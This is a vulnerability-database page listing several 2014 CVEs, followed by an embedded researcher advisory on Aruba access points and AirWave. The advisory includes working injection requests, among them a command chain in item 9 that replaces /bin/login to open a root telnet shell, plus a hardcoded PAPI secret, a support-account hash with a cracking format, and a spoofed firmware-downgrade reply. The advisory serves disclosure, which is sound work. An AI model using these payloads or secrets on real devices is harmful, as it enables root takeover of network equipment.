VARIoT IoT vulnerabilities database
| VAR-201410-0056 | CVE-2014-3394 | Cisco ASA Software Smart Call Home Vulnerabilities in certificate implementations that bypass certificate validation |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
The Smart Call Home (SCH) implementation in Cisco ASA Software 8.2 before 8.2(5.50), 8.4 before 8.4(7.15), 8.6 before 8.6(1.14), 8.7 before 8.7(1.13), 9.0 before 9.0(4.8), and 9.1 before 9.1(5.1) allows remote attackers to bypass certificate validation via an arbitrary VeriSign certificate, aka Bug ID CSCun10916. Vendors have confirmed this vulnerability Bug ID CSCun10916 It is released as.By any third party VeriSign Via certificates, certificate validation can be bypassed.
Successfully exploiting this issue will allow an attacker to perform certain unauthorized actions. This may lead to other attacks.
This issue is being tracked by Cisco Bug ID CSCun10916. Cisco ASA is a set of firewall equipment of Cisco (Cisco). The device also includes IPS (Intrusion Prevention System), SSL VPN, IPSec VPN, antispam, and more. The following versions are affected: Cisco ASA Software 8.2 prior to 5.50, 8.4 prior to 8.4(7.15), 8.6 prior to 8.6(1.14), 8.7 prior to 8.7(1.13), 9.0 prior to 9.0(4.8), 9.1( 5.1) Prior to version 9.1
| VAR-201410-1301 | CVE-2014-2648 | UNIX Run on HP Operations Manager Vulnerable to arbitrary code execution |
CVSS V2: 10.0 CVSS V3: - Severity: High |
Unspecified vulnerability in HP Operations Manager 9.10 and 9.11 on UNIX allows remote attackers to execute arbitrary code via unknown vectors.
Attackers can exploit this issue to execute arbitrary code in the context of the affected application.
Few technical details are currently available. We will update this BID as more information emerges.
HP Operations Manager 9.10 and 9.11 for UNIX are vulnerable. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Note: the current version of the following document is available here:
https://h20564.www2.hp.com/portal/site/hpsc/public/kb/
docDisplay?docId=emr_na-c04472866
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c04472866
Version: 1
HPSBMU03127 rev.1 - HP Operations Manager for UNIX, Remote Code Execution
NOTICE: The information in this Security Bulletin should be acted upon as
soon as possible.
References: CVE-2014-2648, CVE-2014-2649 (SSRT101727)
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. The updates can be downloaded
from HP Software Support Online (SSO).
9.11.120 server patches: Component
Download Location
OMHPUX_00004
https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse
arch/document/KM01188205
ITOSOL_00802
https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse
arch/document/KM01187924
OML_00080
https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse
arch/document/KM01187666
9.11.120 Java UI patches: Component
Download Location
OMHPUX_00005
https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse
arch/document/KM01187192
ITOSOL_00803
https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse
arch/document/KM01187435
OML_00081
https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse
arch/document/KM01188103
9.20.300 server patches: Component
Download Location
OMHPUX_00006
https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse
arch/document/KM01188207
ITOSOL_00804
https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse
arch/document/KM01188065
OML_00082
https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse
arch/document/KM01188209
HISTORY
Version:1 (rev.1) - 8 October 2014 Initial release
Third Party Security Patches: Third party security patches that are to be
installed on systems running HP software products should be applied in
accordance with the customer's patch management policy.
Support: For issues about implementing the recommendations of this Security
Bulletin, contact normal HP Services support channel. For other issues about
the content of this Security Bulletin, send e-mail to security-alert@hp.com.
Report: To report a potential security vulnerability with any HP supported
product, send Email to: security-alert@hp.com
Subscribe: To initiate a subscription to receive future HP Security Bulletin
alerts via Email:
http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins
Security Bulletin Archive: A list of recently released Security Bulletins is
available here:
https://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/
Software Product Category: The Software Product Category is represented in
the title by the two characters following HPSB.
3C = 3COM
3P = 3rd Party Software
GN = HP General Software
HF = HP Hardware and Firmware
MP = MPE/iX
MU = Multi-Platform Software
NS = NonStop Servers
OV = OpenVMS
PI = Printing and Imaging
PV = ProCurve
ST = Storage Software
TU = Tru64 UNIX
UX = HP-UX
Copyright 2014 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors
or omissions contained herein. The information provided is provided "as is"
without warranty of any kind. To the extent permitted by law, neither HP or
its affiliates, subcontractors or suppliers will be liable for
incidental,special or consequential damages including downtime cost; lost
profits; damages relating to the procurement of substitute products or
services; or damages for loss of data, or software restoration. The
information in this document is subject to change without notice.
Hewlett-Packard Company and the names of Hewlett-Packard products referenced
herein are trademarks of Hewlett-Packard Company in the United States and
other countries. Other product and company names mentioned herein may be
trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.13 (GNU/Linux)
iEYEARECAAYFAlQ1TwsACgkQ4B86/C0qfVnkJgCfevd5vzwuHkW/C2VigZXMkDx3
emMAoPo5hL+fb0wuvT/65VDTrqjXDEY1
=TbvC
-----END PGP SIGNATURE-----
| VAR-201410-1108 | CVE-2014-3825 | Junos of Juniper SRX Service operation interruption in series drivers (DoS) Vulnerabilities |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
The Juniper SRX Series devices with Junos 11.4 before 11.4R12-S4, 12.1X44 before 12.1X44-D40, 12.1X45 before 12.1X45-D30, 12.1X46 before 12.1X46-D25, and 12.1X47 before 12.1X47-D10, when an Application Layer Gateway (ALG) is enabled, allows remote attackers to cause a denial of service (flowd crash) via a crafted packet. Juniper Junos is prone to a remote denial-of-service vulnerability.
An attacker can exploit this issue to cause an affected device to crash, denying service to legitimate users.
Note: This issue affects on SRX series devices. Juniper Networks SRX Series devices with Junos are SRX series devices of Juniper Networks (Juniper Networks) running the Junos operating system. The following versions are affected: Juniper Networks Juniper SRX Series devices with Junos 11.4R12-S4 prior to 11.4, 12.1X44 prior to 12.1X44-D40, 12.1X45 prior to 12.1X45-D30, 12.1X46 prior to 12.1X46-D25, 12.1X47 -D10 before 12.1X47 version
| VAR-201410-0930 | CVE-2014-6379 | Juniper Junos Vulnerabilities that bypass authentication |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
Juniper Junos 11.4 before R12, 12.1 before R10, 12.1X44 before D35, 12.1X45 before D25, 12.1X46 before D20, 12.1X47 before D10, 12.2 before R8, 12.2X50 before D70, 12.3 before R6, 13.1 before R4-S3, 13.1X49 before D55, 13.1X50 before D30, 13.2 before R4, 13.2X50 before D20, 13.2X51 before D26 and D30, 13.2X52 before D15, 13.3 before R2, and 14.1 before R1, when a RADIUS accounting server is configured as [system accounting destination radius], creates an entry in /var/etc/pam_radius.conf, which might allow remote attackers to bypass authentication via unspecified vectors. Juniper Junos is prone to a security-bypass vulnerability.
An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions, like making configuration changes. This may aid in further attacks. Juniper Junos is a set of network operating system of Juniper Networks (Juniper Networks) dedicated to the company's hardware system. The operating system provides a secure programming interface and Junos SDK
| VAR-201410-1336 | CVE-2014-7299 | Aruba Runs on the controller ArubaOS Vulnerabilities that prevent authentication in the management interface |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
Unspecified vulnerability in administrative interfaces in ArubaOS 6.3.1.11, 6.3.1.11-FIPS, 6.4.2.1, and 6.4.2.1-FIPS on Aruba controllers allows remote attackers to bypass authentication, and obtain potentially sensitive information or add guest accounts, via an SSH session. Aruba OS is the operating system and application engine for all Aruba mobile controllers and access devices. Arubaos is prone to a information disclosure vulnerability. Aruba ArubaOS/Aruba Instant/AirWave Management - Multiple Vulnerabilities
-------------------------------------------------------------------------
Introduction
============
Multiple vulnerabilities were identified in Aruba AP, IAP and AMP devices. The
Vulnerabilities were discovered during a black box security assessment and
therefore the vulnerability list should not be considered exhaustive. Several
of the high severity vulnerabilities listed in this report are related to the
Aruba proprietary PAPI protocol and allow remote compromise of affected devices.
Affected Software And Versions
==============================
- ArubaOS (all versions)
- AirWave Management Platform 8.x prior to 8.2
- Aruba Instant (all versions up to, but not including, 4.1.3.0 and 4.2.3.1)
CVE
===
The following CVE were assigned to the issues described in this report:
- CVE-2016-2031
- CVE-2016-2032
Vulnerability Overview
======================
1. AMP: RabbitMQ Management interface exposed
2. AMP: XSRF token uses weak calculation algorithm
3. AMP: Arbitrary modification of /etc/ntp.conf
4. AMP: PAPI uses static key for calculating validation checksum (auth bypass)
5. (I)AP: Insecure transmission of login credentials (GET)
6. (I)AP: Built in privileged "support" account
7. (I)AP: Static password hash for support account
8. (I)AP: Unusual account identified ("arubasecretadmin")
9. (I)AP: Privileged remote code execution
10. (I)AP: Radius passwords allow arbitrary raddb commands
11. (I)AP: Unauthenticated disclosure of environment variables
12. (I)AP: Unauthenticated automated firmware update requests
14. (I)AP: Firmware updater does not check certificates
15. (I)AP: Forceful downgrade of FW versions possible
16. (I)AP: Firmware update check discloses machine certificate
17. (I)AP: Firmware is downloaded via unencrypted connection
18. (I)AP: Firmware update Challenge/Response does not protect the Client
19. (I)AP: Unencrypted private keys and certs
20. (I)AP: Potential signature private key
21. (I)AP: PAPI Endpoints exposed to all interfaces
22. (I)AP: PAPI Endpoint does not validate MD5 signatures
23. (I)AP: PAPI protocol encrypted with weak encryption algorithm
24. (I)AP: PAPI protocol authentication bypass
25. (I)AP: Broadcast with detailed system information (LLDP)
26. (I)AP: User passwords are encrypted with a static key
Vulnerability Details
=====================
---------------------------------------------
1. AMP: RabbitMQ Management interface exposed
---------------------------------------------
AMPs expose the management frontend for the RabbitMQ message queue on all
interfaces via tcp/15672 and tcp/55672.
# netstat -nltp | grep beam
tcp 0 0 127.0.0.1:5672 0.0.0.0:*
LISTEN 2830/beam.smp
tcp 0 0 127.0.0.1:17716 0.0.0.0:*
LISTEN 2830/beam.smp
tcp 0 0 0.0.0.0:15672 0.0.0.0:*
LISTEN 2830/beam.smp
tcp 0 0 0.0.0.0:55672 0.0.0.0:*
LISTEN 2830/beam.smp
The password for the default user "airwave" is stored in the world readable
file /etc/rabbitmq/rabbitmq.config in plaintext:
# ls -l /etc/rabbitmq/rabbitmq.config
-rw-r--r-- 1 root root 275 Oct 28 15:48 /etc/rabbitmq/rabbitmq.config
# grep default_ /etc/rabbitmq/rabbitmq.config
{default_user,<<"airwave">>},
{default_pass,<<"***REMOVED***">>}
--------------------------------------------------
2. AMP: XSRF token uses weak calculation algorithm
--------------------------------------------------
The XSRF token is calculated based on limited sources of entropy, consisting of
the user's time of login and a random number between 0 and 99999. The algorithm
Is approximated by the following example Python script:
base64.b64encode(hashlib.md5('%d%5.5d' % (int(time.time()),
random.randint(0,99999))).digest())
-----------------------------------------------
3. AMP: Arbitrary modification of /etc/ntp.conf
-----------------------------------------------
Incorrect/missing filtering of input parameters allows injecting new lines and
arbitrary commands into /etc/ntp.conf, when updating the NTP settings via the
web frontend.
POST /nf/pref_network? HTTP/1.1
Host: 192.168.131.162
[...]
id=&ip_1=192.168.131.162&hostname_1=foo.example.com&
subnet_mask_1=255.255.255.248&gateway_1=192.168.131.161&dns1_1=172.16.255.1&
dns2_1=ð1_enabled_1=0ð1_ip_1=ð1_netmask_1=&
ntp1_1=time1.example.com%0afoo&ntp2_1=time2.example.com&save=Save
The above POST requests results in the following ntp.conf being generated:
# cat /etc/ntp.conf
[...]
server time1.example.com
foo
server time2.example.com
------------------------------------------------------------------------------
4. AMP: PAPI uses static key for calculating validation checksum (auth bypass)
------------------------------------------------------------------------------
PAPI packets sent from an AP to an AMP are authenticated with a cryptographic
checksum. The packet format is only partially known, as it's a proprietary
format created by Aruba. A typical PAPI packet sent to an AMP is as follows:
0000 49 72 00 02 64 69 86 2d 7f 00 00 01 01 00 01 00 Ir..di.-........
0010 20 1f 20 1e 00 01 00 00 00 01 3e f9 22 49 05 b3 . .......>."I..
0020 50 89 40 d3 5d 9d d6 af 46 98 c1 a6 P.@.]...F...
The following dissection of the above shown packet gives a more detailed
overview of the format:
49 72 ID
00 02 Version
64 69 86 2d PAPI Destination IP
7f 00 00 01 PAPI Source IP
01 00 Unknown1
01 00 Unknown2
20 1f PAPI Source Port
20 1e PAPI Destination Port
00 01 Unknown3
00 00 Unknown4
00 01 Sequence Number
3e f9 Unknown5
22 49 05 b3 50 89 40 d3 5d 9d d6 af 46 98 c1 a6 Checksum
The checksum is based on a MD5 hash of a padded concatenation of all fields and
a secret token. The secret token is hardcoded in multiple binaries on the AMP
and can easily be retrieved via core Linux system tools:
$ strings /opt/airwave/bin/msgHandler | grep asd
asdf;lkj763
Using this secret token it is possible to craft valid PAPI packets and issue
commands to the AMP, bypassing the authentication based on the shared
secret / token. This can be exploited to compromise of the device.
Random sampling of different software versions available on
Aruba's website confirmed that the shared secret is identical for all versions.
-------------------------------------------------------
5. AP: Insecure transmission of login credentials (GET)
-------------------------------------------------------
Username and password to authenticate with the AP web frontend are transmitted
through HTTP GET. This method should not be used in a form that transmits
sensitive data, because the data is displayed in clear text in the URL.
GET /swarm.cgi?opcode=login&user=admin&passwd=admin HTTP/1.1
The login URL can potentially appear in Proxy logs, the server logs or
browser history. This possibly discloses the authentication data to
unauthorized persons.
--------------------------------------------
6. AP: Built in privileged "support" account
--------------------------------------------
The APs provide a built in system account called "support". When connected to
the restricted shell of the AP via SSH, issuing the command "support", triggers
a password request:
00:0b:86:XX:XX:XX# support
Password:
A quick internet search clarified, that this password is meant for use by Aruba
engineers only:
http://community.arubanetworks.com/t5/Unified-Wired-Wireless-Access/OS5-0-support-password/td-p/26760
Further research on that functionality lead to the conclusion that this
functionality provides root-privileged shell access to the underlying operating
system of the AP, given the correct password is entered.
-----------------------------------------------
7. AP: Static password hash for support account
-----------------------------------------------
The password hash for the "support" account mentioned in vulnerability #6 is
stored in plaintext on the AP.
$ strings /aruba/bin/cli | grep ^bc5
bc54907601c92efc0875233e121fd3f1cebb8b95e2e3c44c14
Random sampling of different versions of Firmware images available on Aruba's
website confirmed that the password hash is identical for all versions. The
password check validating a given "support" password is based on the following
algorithm:
SALT + sha1(SALT + PASSWORD)
Where SALT equals the first 5 bytes of the password hash in binary
representation. It is possible to run a brute-force attack on this hash format
using JtR with the following input format:
support:$dynamic_25$c92efc0875233e121fd3f1cebb8b95e2e3c44c14$HEX$bc54907601
------------------------------------------------------
8. AP: Unusual account identified ("arubasecretadmin")
------------------------------------------------------
The AP's system user configuration contains a undocumented account called
"arubasecretadmin". This account was the root cause for CVE-2007-0932 and
allowed administrative login with a static password.
/etc/passwd:
nobody:x:99:99:Nobody:/:/sbin/nologin
root:x:0:0:Root:/:/bin/sh
admin:x:100:100:Admin:/:/bin/telnet3
arubasecretadmin:x:101:100:Aruba Admin:/:/bin/telnet2
serial:x:102:100:Serial:/:/bin/telnet4
Further tests indicated that login with this account seems not possible as it
is not mapped through Arubas authentication mechanisms. The reason for it being
still configured on the system is unknown.
---------------------------------------
9. AP: Privileged remote code execution
---------------------------------------
Insufficient checking of parameters allows an attacker to execute commands
with root privileges on the AP. The vulnerable parameter is "image_url" which
is used in the Firmware update function.
GET /swarm.cgi?opcode=image-url-upgrade&ip=127.0.0.1&oper_id=6&image_url=Aries@http://10.0.0.1/?"`/usr/sbin/mini_httpd+-d+/+-u+root+-p+1234+-C+/etc/mini_httpd.conf`"&auto_reboot=false&refresh=true&sid=OWsiU5MM7DxVf9FRWe3P&nocache=0.9368100591919084
HTTP/1.1
The above example starts a new instance of mini_httpd on tcp/1234, which allows
browsing the AP's filesystem. The following list of commands, if executed in
order, start a telnet service that allows passwordless root login.
killall -9 utelnetd
touch /tmp/telnet_enable
echo \#\!/bin/sh > /bin/login
echo /bin/sh >> /bin/login
chmod +x /bin/login
/sbin/utelnetd
Connecting to the telnet service started by the above command chain:
# telnet 10.0.XX.XX
Trying 10.0.XX.XX...
Connected to 10.0.XX.XX.
Escape character is '^]'.
Switching to Full Access
/aruba/bin # echo $USER
root
/aruba/bin #
Potential exploits of this vulnerability can be detected through the
AP's log file:
[...]
Jan 1 02:43:47 cli[2052]: <341004> <WARN> |AP
00:0b:86:XX:XX:XX2@10.0.XX.XX cli|
http://10.0.XX.XX/?"`/sbin/utelnetd`"
[...]
-------------------------------------------------------
10. AP: Radius passwords allow arbitrary raddb commands
-------------------------------------------------------
Insufficient checking of the GET parameter "cmd" allows the injection of
arbitrary commands and configuration parameters in the raddb configuration.
Example:
GET /swarm.cgi?opcode=config&ip=127.0.0.1&cmd=%27user%20foo%20foo%22,my-setting%3d%3d%22blah%20portal%0Ainbound-firewall%0Ano%20rule%0Aexit%0A%27&refresh=false&sid=Lppj9jT2xQmYKqjEx5eP&nocache=0.10862623626107548
HTTP/1.1
/aruba/radius/raddb/users:
foo Filter-Id == MAC-GUEST, Cleartext-Password := "foo",my-setting=="blah"
As shown in the above example, inserting a double-quote in the password allows
to add additional commands after the password.
-----------------------------------------------------------
11. AP: Unauthenticated disclosure of environment variables
-----------------------------------------------------------
It is possible to request a listing of environment variables by requesting a
specific URL on the AP's web server. The request does not require
authentication.
GET /swarm.cgi?opcode=printenv HTTP/1.1
HTTP/1.0 200 OK
Content-Type:text/plain; charset=utf-8
Pragma: no-cache
Cache-Control: max-age=0, no-store
Environment variables
CHILD_INDEX=0
PATH=/usr/local/bin:/usr/ucb:/bin:/usr/bin
LD_LIBRARY_PATH=/usr/local/lib:/usr/lib
SERVER_SOFTWARE=
SERVER_NAME=10.0.XX.XX
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.0
SERVER_PORT=4343
REQUEST_METHOD=GET
SCRIPT_NAME=/swarm.cgi
QUERY_STRING=opcode=printenv
REMOTE_ADDR=10.0.XX.XX
REMOTE_PORT=58804
HTTP_REFERER=https://10.0.XX.XX:4343/
HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux x86_64; rv:38.0)
Gecko/20100101 Firefox/38.0 Iceweasel/38.3.0
HTTP_HOST=10.0.XX.XX:4343
-----------------------------------------------------------------
12. AP: Information disclosure by firmware checking functionality
-----------------------------------------------------------------
When the AP checks device.arubanetworks.com for a new firmware version, it
sends detailed information of the AP in plaintext to the remote host.
POST /firmware HTTP/1.1
Host: device.arubanetworks.com
Content-Length: 2
Connection: keep-alive
X-Type: firmware-check
X-Guid: 2dbe42XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X-OEM-Tag: Aruba
X-Mode: IAP
X-Factory-Default: Yes
X-Current-Version: 6.4.2.6-4.1.1.10_51810
X-Organization: ***REMOVED (Company Internal Name)***
X-Ap-Info: CC00XXXXX, 00:0b:86:XX:XX:XX, RAP-155
X-Features: 0000100001001000000000000000000000000000000000010000000
----------------------------------------------------------
13. AP: Unauthenticated automated firmware update requests
----------------------------------------------------------
The web frontend of the AP provides functionality to initiate an automated
firmware update. Doing so triggers the AP to initiate communication with
device.arubanetworks.com and automatically download and install a new firmware
image. The CGI opcode for that automatic update is "image-server-check" and it
was discovered that the "sid" parameter is not checked for this opcode. Therefor
an attacker can issue the automatic firmware update without authentication by
sending the following GET request to the AP.
GET /swarm.cgi?opcode=image-server-check&ip=127.0.0.1&sid=x
As shown above, the "sid" parameter has to be submitted as part of the URL, but
can be set to anything. Although all opcode actions follow the same calling
scheme, "image-server-check" was the only opcode where the session ID was not
validated.
Combined with other vulnerabilities (#14, #15), this could be exploited to
install an outdated, vulnerable firmware on the AP.
----------------------------------------------------
14. AP: Firmware updater does not check certificates
----------------------------------------------------
The communication between AP and device.arubanetworks.com is secured by using
SSL. The AP does not do proper certificate validation for the communication to
device.arubanetworks.com. A typical SSL MiTM attack using DNS spoofing and a
self-signed certificate allowed interception of the traffic between AP and
device.arubanetworks.com.
--------------------------------------------------
15. AP: Forceful downgrade of FW versions possible
--------------------------------------------------
When checking device.arubanetworks.com for a new firmware image, the AP sends
it's current version to the remote host. If there is no new firmware available,
device.arubanetworks.com does not provide any download options. If the initial
version sent from the AP is modified by an attacker (via MiTM), the remote
server will reply with the current firmware version. The AP will then reject
that firmware, as it's current version is more recent/the same. Downgrading the
version does also not work based on the validation the AP does.
This behaviour can be overwritten if an attacker intercepts and modifies the
reply from device.arubanetworks.com and adds X-header called
"X-Mandatory-Upgrade".
Example of a spoofed reply from device.arubanetworks.com:
HTTP/1.0 200 OK
Date: Wed, 11 Nov 2015 12:12:20 GMT
Content-Length: 91
Content-Type: text/plain; charset=UTF-8
X-Activation-Key: FXXXXXXX
X-Session-Id: 05d607dd-958b-42c4-a355-bd54e1a32e8e
X-Status-Code: success
X-Type: firmware-check
X-Mandatory-Upgrade: true
Connection: close
6.4.2.6-4.1.1.10_51810
23 http://10.0.0.1:4321/ArubaInstant_Aries_6.4.2.6-4.1.1.10_51810
As shown above, the Header "X-Mandatory-Upgrade" was added to the server's
reply. This causes the AP to skip its validation checks and accept any firmware
version provided, regardless if it is the same or older than the current one.
-----------------------------------------------------------
16. AP: Firmware update check discloses machine certificate
-----------------------------------------------------------
While observing the traffic between an AP and device.arubanetworks.com, it was
discovered that the AP discloses it's machine certificate to the remote
endpoint.
POST /firmware HTTP/1.1
Host: 10.0.XX.XX
Content-Length: 2504
Connection: close
X-Type: firmware-check
X-Guid: 2dbe42XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X-OEM-Tag: Aruba
X-Mode: IAP
X-Factory-Default: Yes
X-Session-Id: e0b24fb1-e2f7-4e06-9473-1266b50a3fec
X-Current-Version: 6.4.2.6-4.1.1.10_51810
X-Organization: ***REMOVED (Company Internal Name)***
X-Ap-Info: CC00XXXXX, 00:0b:86:XX:XX:XX, RAP-155
X-Features: 0000100001001000000000000000000000000000000000010000000
X-Challenge-Hash: SHA-1
-----BEGIN CERTIFICATE-----
MIIGTjCCBTagAwI...
[...]
-----END CERTIFICATE-----
The certificate sent in the above request is the same (in PEM format) as found
under the following path on the AP:
/tmp/deviceCerts/certifiedKeyCert.der
Comparison of the certificate from the HTTP Request and from the AP filesystem:
$ sha256sum dumped-fw-cert.txt certifiedKeyCert.der.pem
68ebb521dff53d8dcb8e4a0467dcae38cf45a0d812897393632bdd9ef6f354e8
dumped-fw-cert.txt
68ebb521dff53d8dcb8e4a0467dcae38cf45a0d812897393632bdd9ef6f354e8
certifiedKeyCert.der.pem
---------------------------------------------------------
17. AP: Firmware is downloaded via unencrypted connection
---------------------------------------------------------
Firmware images are downloaded via unencrypted HTTP to the AP. An example reply
containing the download paths looks as follows:
HTTP/1.1 200 OK
Date: Wed, 11 Nov 2015 13:18:58 GMT
Content-Length: 552
Content-Type: text/plain; charset=UTF-8
X-Activation-Key: FXXXXXXX
X-Session-Id: 05d607dd-958b-42c4-a355-bd54e1a32e8e
X-Status-Code: success
X-Type: firmware-check
Connection: close
6.4.2.6-4.1.1.10_51810
25 http://images.arubanetworks.com/fwfiles/ArubaInstant_Centaurus_6.4.2.6-4.1.1.10_51810
30 http://images.arubanetworks.com/fwfiles/ArubaInstant_Taurus_6.4.2.6-4.1.1.10_51810
15 http://images.arubanetworks.com/fwfiles/ArubaInstant_Cassiopeia_6.4.2.6-4.1.1.10_51810
10 http://images.arubanetworks.com/fwfiles/ArubaInstant_Orion_6.4.2.6-4.1.1.10_51810
23 http://images.arubanetworks.com/fwfiles/ArubaInstant_Aries_6.4.2.6-4.1.1.10_51810
26 http://images.arubanetworks.com/fwfiles/ArubaInstant_Pegasus_6.4.2.6-4.1.1.10_51810
An attacker could potentially MiTM connections to images.arubanetworks.com and
possibly replace the firmware images downloaded by the AP.
----------------------------------------------------------------------
18. AP: Firmware update Challenge/Response does not protect the Client
----------------------------------------------------------------------
The update check process between AP and device.arubanetworks.com works
as follows:
AP => device.arubanetworks.com
POST /firmware
X-Type: firmware-check
AP <= device.arubanetworks.com
200 OK
X-Session-Id: bd4...
X-Challenge: 123123...
AP => device.arubanetworks.com
POST /firmware
X-Session-Id: bd4...
[machine certificate]
[signature]
AP <= device.arubanetworks.com
200 OK
X-Session-Id: bd4...
[firmware image urls]
When inspecting the communication process carefully, it is clear that the final
response from device.arubanetworks.com does not contain any (cryptographic)
signature. An attacker could impersonate device.arubanetworks.com, send an
arbitrary challenge, ignore the response and just reply with a list of firmware
images. The only thing that has to be kept the same over requests is the
X-Session-Id header, which is also sent initially by the remote host and not
the AP and therefore under full control of the attacker.
------------------------------------------
19. AP: Unencrypted private keys and certs
------------------------------------------
The AP firmware image contains the unencrypted private key and certificate for
securelogin.arubanetworks.com issued by GeoTrust and valid until 2017. The key
and cert was found under the path /aruba/conf/cpprivkey.pem.
$ openssl x509 -in cpprivkey.pem -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 121426 (0x1da52)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, O=GeoTrust Inc., OU=Domain Validated SSL,
CN=GeoTrust DV SSL CA
Validity
Not Before: May 11 01:22:10 2011 GMT
Not After : Aug 11 04:40:59 2017 GMT
Subject: serialNumber=lLUge2fRPkWcJe7boLSVdsKOFK8wv3MF,
C=US, O=securelogin.arubanetworks.com, OU=GT28470348, OU=See
www.geotrust.com/resources/cps (c)11, OU=Domain Control Validated -
QuickSSL(R) Premium, CN=securelogin.arubanetworks.com
[...]
$ openssl rsa -in cpprivkey.pem -check
RSA key ok
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA….
[...]
-----END RSA PRIVATE KEY-----
---------------------------------------
20. AP: Potential signature private key
---------------------------------------
A potential SSL key was found under the path /etc/sig.key. Based on the header
(3082xxxx[02,03]82), the file looks like a SSL key in DER format:
$ xxd etc/sig.key
00000000: 3082 020a 0282 0201 00d9 2d71 db0f decb 0.........-q....
It was not possible to decode the key. Therefore it's not 100% clear if is an
actual key or just a garbaged file.
------------------------------------------------
21. AP: PAPI Endpoints exposed to all interfaces
------------------------------------------------
The PAPI endpoint "msgHandler" creates listeners on all interfaces. Therefore
it is reachable via wired and wireless connections to the AP. This increases
the potential attack surface.
# netstat -nlu | grep :82
udp 0 0 :::8209 :::*
udp 0 0 :::8211 :::*
Additionally the local ACL table of the AP contains a default firewall rule,
permitting any traffic to udp/8209-8211, overwriting any manually set ACL to
block access to PAPI:
00:0b:86:XX:XX:XX# show datapath acl 106
Datapath ACL 106 Entries
-----------------------
Flags: P - permit, L - log, E - established, M/e - MAC/etype filter
S - SNAT, D - DNAT, R - redirect, r - reverse redirect m - Mirror
I - Invert SA, i - Invert DA, H - high prio, O - set prio, C -
Classify Media
A - Disable Scanning, B - black list, T - set TOS, 4 - IPv4, 6 - IPv6
K - App Throttle, d - Domain DA
----------------------------------------------------------------
1: any any 17 0-65535 8209-8211 P4
[...]
12: any any any P4
00:0b:86:XX:XX:XX#
------------------------------------------------------
22. AP: PAPI Endpoint does not validate MD5 signatures
------------------------------------------------------
MD5 signature validation for incoming PAPI packets is disabled on the AP:
# ps | grep msgHandler
1988 root 508 S < /aruba/bin/msgHandler -n
# /aruba/bin/msgHandler -h
usage: msgHandler [-d] [-n]
-d = enable debug prints.
-n = disable md5 signatures.
-g = disable garbling.
The watchdog service ("nanny") also restarts the PAPI handler with disabled MD5
signature validation:
# grep msgH /aruba/bin/nanny_list
RESTART /aruba/bin/msgHandler -n
--------------------------------------------------------------
23. AP: PAPI protocol encrypted with weak encryption algorithm
--------------------------------------------------------------
PAPI packets sent to an AP contain an encrypted payload. The encryption seems
to replace the MD5 signature check as described in #4 and used when PAPI is
sent from AP to AMP. This might also explain why the PAPI endpoint runs with
disabled MD5 signature verification on the AP (see #22).
The following example shows an encrypted PAPI packet for the command
"show version" as received by the AP:
0000 49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13 Ir............
0010 3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00 ;`;~ ...........
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 00 00 00 00 00 00 00 00 00 00 00 00 97 93 93 93 ................
0050 a9 97 93 93 92 6e 96 99 93 93 92 95 94 91 93 97 .....n..........
0060 93 93 93 93 93 93 87 e9 eb e1 fc d0 dc c6 e4 fd ................
0070 fa e1 f7 e9 d1 a6 f7 e7 c5 eb f1 93 93 9e e0 fb ................
0080 fc e4 b3 e5 f6 e1 e0 fa fc fd 99 ...........
Important parts of the above packet:
7f 00 00 01 Destination IP (127.0.0.1)
0a 00 00 01 Source IP (10.0.0.1)
3b 60 Destination Port (15200)
3b 7e Source Port (15230)
97 93 93 93-EOF Encrypted PAPI payload
Comparison of the above packet with a typical PAPI packet that is sent from the
AP to the AMP quickly highlights the missing 0x00 that are used to pad certain
fields of the PAPI payload. These 0x00 seem to be substituted with 0x93, which
is a clear indication that the payload is "encrypted" with a 1 byte XOR. As
XOR'ing 0x00 with 1 byte results in the same byte, the payload therefore
discloses the key used and use of the weak XOR algorithm:
0x00: 00000000
^ 0x93: 10010011
================
10010011 (0x93)
The following shows the above PAPI packet for "show version" with its payload
decrypted:
0000 49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13 Ir............
0010 3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00 ;`;~ ...........
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 ................
0050 3a 04 00 00 01 fd 05 0a 00 00 01 06 07 02 00 04 :...............
0060 00 00 00 00 00 00 14 7a 78 72 6f 43 4f 55 77 6e .......zxroCOUwn
